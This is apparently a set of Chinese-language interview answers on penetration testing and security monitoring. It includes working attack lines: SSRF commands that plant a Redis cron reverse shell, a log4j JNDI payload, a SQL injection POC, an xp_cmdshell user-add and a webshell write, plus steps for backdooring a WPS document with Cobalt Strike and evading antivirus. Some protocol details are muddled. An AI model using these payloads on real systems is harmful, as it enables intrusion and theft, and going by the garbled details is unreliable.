tcp三次握手是建立tcp连接时,客户端和服务端发送三个数据包,建立三次连接的目的是验证双方的接收能力和发送能力是否正常,第一次握手:客户端给服务端发一个 SYN 报文,指定初始化序列号为后面的可靠性传送做准备,第二次握手:服务端给客户端一个SYN,ACK报文,表示收到请求,第三处握手,客户端给服务端一个ACK报文确认,然后连接建立,开始传输数据,TCP三次握手可能出现SYN攻击问题,攻击者伪造不存在IP发送大量SYN包进行第一次握手,而服务端回复确认包时由于目标不存在,不断重发到超时,SYN攻击通过大量的半连接造成网络拥塞,是一种DDOS攻击
四次挥手第一次挥手客户端发送一个 FIN 报文,停止发送数据,第二次挥手服务端发送确认报文,断开客户端到服务端的连接,第三次挥手服务端发送SYN,ACK报文表示想要断开和客户端的连接,第四次挥手客户端发送一个ACK包,断开服务端到客户端的连接
Tcp是面向连接的,Udp是无连接的
Tcp提供可靠的通信,Udp尽最大努力
Tcp面向字节流,Udp面向报文
Tcp连接是点到点的,Udp可以支持交互通信
Tcp是全双工可靠信道,Udp是不可靠信道
数据在互联网通信过程中需要通过searlize序列化实现安全可靠传输,反序列化会默认调用readobject方法,攻击者可以通过链式调用完成利用,比如java原生的urldns链,这条链有URL和hashmap两条链,hashmap有一个hashcode,URL也有一个hashcode,可以通过java的反射机制修改set值,使反序列化的时候执行url的getaddress方法,还有CC1链,CC1链也有一个transfrom接口继承searlize,里面有一个transform可以利用来实现任意方法调用,然后一步一步跟下去就是readobject方法,这个方法反序列化就会默认调用,可以利用他来实现链式调用
Kerberos协议是一计算机种网络认证协议,需要客户端和服务端的双向认证,kerberos认证流程主要分为三步,第一步客户端向密钥分发中心的认证服务器AS进行认证,获得票据给予票据,即黄金票据,第二步客户端使用黄金票据向票据授予服务器TGS申请服务授予票据,第三步客户端拿着服务授予票据访问相应服务,黄金票据就是伪造了keberos通信中的身份票据TGT,白银票据就是服务票据,黄金票据可以使用该用户的所有服务,白银票据只能用该票据的服务,只有域管理员身份的票据才是黄金票据
shiro框架本身没有漏洞,登录框数据先序列化再使用aes加密再base64编码。shiro有一个默认密钥,如果没有修改默认密钥,就可以进行反向解密,通常可以利用扫描器判断是否是shiro框架,响应包里有Set-Cookie=RemerberME=deleteMe,确定shiro框架可以使用工具进行反序列化利用链的利用,修改序列化的字符串实现利用,shiro550和721的区别就是是否需要登录,其他利用都是一样的
升级组件版本,对出现的漏洞打补丁
先看有没有CDN,有就绕过获取真实IP,对网站的子域名和子目录进行探测,看是否有敏感文件,信息泄露,识别网站的语言,数据库,CMS信息,探测网站开放的端口,知道网站的业务和功能,使用扫描器进行一些漏洞的扫描,手动测试一下逻辑漏洞
我介绍一下小程序的代码审计吧,小程序的代码审计就是用NP和jeb这些工具来先对APP进行反编译,然后根据小程序的功能点比如VIP系统,账号注册和登录系统,上传头像等的地方,定位到具体的代码,然后还可以下断点进行调试,比如小程序对数据进行加密,可以进行逆向分析对加密数据进行解密,进行下一步的渗透
log4j是apache的一个Java日志组件,log4j漏洞是一个2021年的漏洞,漏洞版本是2.14.0之前,log4j漏洞是因为log4j有一个lookup功能,使用${}可以进行执行,问题是lookup是基于jndi的,jndi(Java命名和目录接口是用于从Java应用程序中访问名称和目录服务的一组API)又支持rmi(远程方法调用,是一种API),黑客就可以搭建rmi,在登录框输入如${jndi:mi://192.168.3.21/evil},这个组件打印日志时,登录失败记录登录失败日志,就会将我们的输入用log4j进行打印,然后又因为lookup这个功能会执行黑客的恶意操作,遇到登录框可以尝试
我用过微步的态势感知系统,这个设备有一个优点就是可以联动微步情报社区,分析出恶意IP,里面有一个自动刷新,十分钟刷新一次,这个态势感知系统还可以实时查看告警,查看攻击来源,点击告警就可以查看请求包响应包,根据内容判断是不是误报,不是误报就用防火墙封禁IP,这个设备还可以配合绿盟的IDS(入侵检测系统)只能检测不能封禁,IPS(入侵防御系统)不仅可以检测还可以封禁,IDS相当于一个镜像不会影响太多网络性能
首先要拿一台域内主机的权限,然后我会用CS的插件进行权限提升,使用高权限用户对内网端口进行探测,同时抓取hash值和明文密码和票据信息,然后就尝试横向移动,可以使用CS自带的也可以在已经控制的域机器设置一个SOCKS代理,直接使用主机工具,横向移动就是三种方式,PTT,PTK,PTH,不行还可以尝试RDP,一般尝试hash传递,看能不能hash传递拿到其他主机权限,然后继续搭建隧道,配置代理,上传CS木马,继续信息收集,最终横向移动到域控,由于杀毒软件的原因木马还要做免杀
Nessus
扫描速度可以调快一点,快点扫完,关掉Nessus扫描器的ping功能,因为很可能目标开启了防火墙,如果ping不通就不发payload了,Nessus也有WEB扫描功能,但是一般用他的主机扫描功能,开了比较慢
Xray
Xray的被动扫描发送的流量比较小,Xray可以联动burp suite 使用,将burp抓到的包发给Xray,我们只需要配置好代理一直点就行,然后查看渗透测试报告
CSRF是客户端请求伪造,CSRF就是网站没有对客户身份进行严格验证,通过钓鱼来执行非客户本意的操作,如添加用户等,可以采用generatesessiontoken生成token值,checktoken检验token值,CSRF还可以配合XSS漏洞使用,将XSS触发指向构造的CSRF钓鱼网站,SSRF是服务端请求伪造,SSRF攻击是由攻击者构建然后由服务端发起,攻击从外部无法访问的内部系统,可以用file协议读取文件,http和dict来探测主机存活和端口开放情况,dict协议还可以探测非本地端口,Gopher协议可以同时支持get方式和post方式,例如结合redis未授权获得权限
dict://172.72.23.27:6379/flushall 清除key
dict://172.72.23.27:6379/config set dir /var/spool/cron/ 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x '\n\n*/1 * * * * bash -i >%26 /dev/tcp/X.X.X.X/X 0>%261\n\n'
# 保存上述操作dict://172.72.23.27:6379/save
SSRF漏洞防御主要是限制报错信息防止端口探测,限制协议为http,白名单固定端口,黑名单内网IP
xxe漏洞即xml外部实体注入漏洞,XXE漏洞因为程序解析xml输入时,没有禁止外部实体加载,导致加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,xml是用来传输和存储数据,类似HTML的标记语言,可以抓包看是否有类似xml的东西,进行测试,实战一般用XXEinjector工具
redis未授权主要是配置文件redis.conf没有配置好,比如bind 127.0.0.1关闭了,proect-mode关闭了,requirepass没有设置等,利用方式有ssh,ssh-keygen -t rsa生成公钥和私钥,导入密钥ssh连接即可,或者写计划任务反弹shell和写webshell用webshell连接工具连接
小程序渗透测试可以配置好代理和证书后像对web渗透测试那样抓包测试有没有sql注入,文件上传这些漏洞,和web渗透测试的区别是如果可以对小程序进行反编译就可以拿到小程序的源码对小程序进行代码审计白盒测试,逆向的关键点就是看有没有加壳,我一般用APKscan这个工具来识别加了什么壳,没有壳后用jadx来查看源码,或者是用模拟器的NP和MT来对进行修改,就是先通过程序的功能来定位程序源码,然后通过smile语法对照着java代码进行修改,对小程序逆向的一个作用就是如果小程序数据进行加密,逆向可以获取加密的方式,从而进行渗透
注:视图:res的activity和xml目录,逻辑:dex
复现过通达OA的SQL注入漏洞,这个漏洞在delete_log.php中的参数delete_str,漏洞POC1)and (substr(database(),2,1))=char(68) and (select count(*) from information_schema.columns A,information_schema.columns B) and (1)=(1,然后还有蓝凌OA的任意文件读取漏洞,然后他有一个接口通过POST方式提交payload,通过file协议Linux可以访问/etc/passwd,Windows可以通过admin.properties获得系统后台的密码,然后他的返回值有默认密钥kmssAdminkey进行解密,我也用python写过这个漏洞的POC,最近的漏洞复现比如致远OA的任意用户密码重置漏洞,前台抓包直接修改就可以修改密码,还有就是WPS的远程代码执行漏洞了,首先攻击者写一个html文件,HTML文档里就是漏洞利用的POC,修改里面的弹计算器的shellcode改成CS生成的后门shellcode,开启web服务,然后把doc文件改成zip文件再解压,改里面的webextention.xml文件,把里面wpswe:url的地址指向写的html文件,当打开doc文档时就会上线,而且因为doc文档本身没有后门,可以实现免杀,实战中需要申请一个后缀为wps.cn域名,形成clientweb.docer.wps.cn.{xxx}wps.cn域名
账号密码登录处尝试暴力破解,找回密码处尝试任意用户密码找回越权漏洞,验证码处尝试短信轰炸漏洞,如果是jwt验证方式可以尝试jwt未授权访问漏洞,购买商品尝试修改金额和数量,提交订单尝试重放攻击
比如access和mssql1433(sql server)一般都是asp语言,MySQL一般是PHP,Oracle数据库1521,对mssql的利用,主要有SA空/弱密码,SA老版本默认高权限,可以直接执行添加用户
exec master..xp_cmdshell 'net user test 12345 /add'
对Monggodb(27017)数据库,3.0之前不需要账号密码可以直接登录,平时除了MySQL数据库比较少遇到,一般直接用sqlmap扫描,或者直接对数据库账号密码进行爆破测试弱密码
读文件:load_file
写文件:outfile,dumpfile
具体payload
union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php
我在北京轨道交通那里值守的时候,比较了解过微步的态势感知系统,绿盟的WAF
比如有文件传输可以导出http对象,重点分析一下http报文,然后主要还是对关键字进行提取,比如sql注入里的select等,然后根据流量包判断攻击者的攻击流程
fastjson是阿里的一个json工具,在fastjson1.2.24版本,这里的漏洞就是序列化数据是客户端发送的,如果把type属性改成恶意类型发送过去,接收方进行反序列化时,可以实现任意类的反序列化操作,一般使用JNDI注入工具搭建RMI服务器,然后生成payload发送执行
Spring Boot Actuator是spring boot的服务监控和管理中间件,这个未授权漏洞的原因是这个里面的接口可能会造成一些信息泄露,比如盗取cookie,还有探测到redis或者其他数据库等的端口信息可以尝试弱密码或者其他漏洞,还有spring有一个版本存在任意文件读取漏洞
Struts是apache项目下的一个web 框架,有一个版本里面有一个命令执行漏洞,通过content-type的header头进行命令执行,通过Strust2对错误消息的处理进行回显
我一般使用gotoscan这个工具,这个工具可以对内网环境的cms进行识别,外网CMS的话一般使用潮汐CMS等网站在线识别,识别出目标CMS就可以在网上寻找CMS的漏洞或者进行代码审计分析
比如在ILS6.0的解析漏洞,在xx.asp下的文件会被当成asp文件执行,然后在ILS7.0图片地址后输入.php,也会将图片当成PHP文件解析,还有Apache的httpd多后缀解析漏洞 ,也会导致一个文件包含的问题 ,在Apache2.4.50版本还有一个目录穿越漏洞,可以构造../访问敏感文件,tomcat可以尝试默认账号密码tomcat,tomcat,可以将webshell改成war后缀上传后门,然后还有thinkphp5版本存在远程代码执行漏洞
PHP的话先确定危险方法比如eval,assert,create_function等代码执行方法,readfile等文件读取方法,system,exec,shellexec等命令执行方法,然后根据这些方法看有没有魔法函数,一步步往上找,看能不能通过入口函数来控制危险方法
hash传递利用的是NTML协议,这使得可以通过hash值来进行认证而不需要明文密码,通过抓取hash值,如果域内机器密码相同,就可以通过hash传递拿到权限
比如JAVA的weblogic,一般通过7001端口来判断,用工具来进行一些反序列化漏洞的利用
监测组,研判组,应急溯源组
XSS攻击分为反射型,存储型,DOM型,反射型XSS主要出现在搜索框中,存储型XSS主要出现在留言板等,DOM型XSS是由于浏览器提供功能对前端代码进行修改,如果修改的数据可以由用户指定,就可能出现DOM型XSS攻击